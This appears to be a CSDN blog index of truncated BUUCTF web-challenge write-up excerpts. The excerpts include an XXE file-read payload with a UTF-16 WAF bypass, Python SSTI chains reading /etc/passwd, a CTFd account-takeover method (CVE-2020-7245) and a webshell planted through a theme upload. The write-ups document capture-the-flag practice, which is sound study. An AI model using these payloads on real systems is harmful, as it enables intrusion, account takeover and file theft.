![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
buuctf刷题记录
ta3shi
ta3shi.github.io
展开
-
xxe编码绕过(8-19)
[CSAWQual 2019]Web_Unagi只能上传xml文件,考虑存在xxe直接上传显示waf拦截了,转换成utf16编码就能绕过<!--filename:1.xml--><!--author:ta3shi--><!DOCTYPE users[<!ENTITY a SYSTEM "file:///flag">]><users><user><username>Alice</u原创 2020-08-19 22:47:37 · 1683 阅读 · 0 评论 -
flask ssti-subprocess.Popen(8-18)
学习文章[CSCCTF 2019 Qual]FlaskLightget方法请求结合题目试试ssti说明确实存在ssti读取文件成功但是读不了app.py,命令执行也被禁止,看看大佬怎么bypass的先写个脚本爆出可利用的类import requestsimport reimport htmlimport timeindex = 0for i in range(170, 1000): try: url = "http://aa86b4ee.原创 2020-08-18 23:02:27 · 809 阅读 · 0 评论 -
xxe-本地dtd引用(8-17)
[GoogleCTF2019 Quals]Bnv题目发包信息为json,但是如果服务器能够解析xml并且并没有相应的过滤的话,就有可能存在xxe漏洞,具体参见神奇的Content-Type——在JSON中玩转XXE攻击原创 2020-08-17 20:38:23 · 448 阅读 · 0 评论 -
8-15(信息收集-账户接管漏洞)
[V&N2020 公开赛]HappyCTFd这个题打开看到是CTFd.io,用到了CVE-2020-7245 CTFd v2.0.0 – v2.2.2的账户接管漏洞逻辑是申请账号的时候可用前面或后面的空格绕过重名限制,而修改密码的时候会将提交的用户名去掉头尾的空格就可以攻击受害人。那么我们看到有个admin用户已经存在了,显然就是受害人,我们注册一个 空格+admin的账户,因为buu的题不能访问外网 所以我们需要注册一个buu的邮箱然后注册之后退出用admin登录并选择忘记密码原创 2020-08-15 23:19:50 · 281 阅读 · 0 评论 -
8-14刷题(php反序列化,Smarty ssti,json命令执行)
[NPUCTF2020]ReadlezPHP找到time.php?source,打开的得到time.php的源码<?php#error_reporting(0);class HelloPhp{ public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } publ原创 2020-08-14 22:11:20 · 959 阅读 · 0 评论 -
8-13刷题
[GYCTF2020]FlaskApp加密没问题,解密的时候随便输入字母报错了,输入e3syKzN9fQ==//{{2+3}},返回5说明存在ssti注入,python3的ssti先试一下读文件{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}e3soKS5fX2NsYXNzX18uX19iYXNlc19fWz.原创 2020-08-14 16:23:57 · 523 阅读 · 0 评论 -
8-12刷题
[极客大挑战 2019]RCE ME<?phperror_reporting(0);if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long.");原创 2020-08-12 23:54:22 · 564 阅读 · 0 评论 -
8-11刷题
[GWCTF 2019]枯燥的抽奖在check.php里找到了验证的源码,SESSION固定情况下,mt_srand()函数生成的是伪随机数,那么我们破解就可以了mt_seed破解工具先根据前十个写出解密需要的参数str1 ='8505R6hICJ'str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"result =''length = str(len(str2)-1)for i in原创 2020-08-11 21:11:31 · 253 阅读 · 0 评论 -
2020-08-10
9号是个懒狗没做题[GKCTF2020]老八小超市儿打开之后各种瞎点没有思路,大佬wp告诉我这种时候就要找管理后门,后门地址/admin.php,用户admin密码shopxo。登录之后主题插马,先下载一个默认主题,将马插到里面再上传之后从主页图片看到页面地址http://8c45f2f9-5337-49d1-921b-2c712fe6aa66.node3.buuoj.cn/public/static/index/default/test.php蚁剑连上根目录找原创 2020-08-10 15:13:14 · 181 阅读 · 0 评论 -
8月8日刷题
[网鼎杯 2020 朱雀组]phpwebf12发现有post数据hackbar看一下是call_user_func()函数,用file_get_contents读取一下index.php <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate",原创 2020-08-08 18:30:14 · 391 阅读 · 0 评论 -
8-7日刷题
[ciscn2019 华北赛区 day1 web2]ikun知识点:逻辑漏洞,jwt,python反序列化这题本来是在buuctf做的,后来buuctf维护,然后就在攻防世界做了打开题目看到一定要买到lv6,随手翻页,看到如图,那么要找到lv6.png,写个脚本来找快一点。import requests as resurl='http://8110e838-75a9-4a2f-8b80-38b3680ba32c.node3.buuoj.cn/shop?page='for i原创 2020-08-08 14:02:28 · 372 阅读 · 0 评论 -
buuctf刷题记录
8月6日buuctf[MRCTF2020]Ez_bypass知识点MD5绕过,php特性打开得到源码I put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (m原创 2020-08-06 21:41:58 · 845 阅读 · 0 评论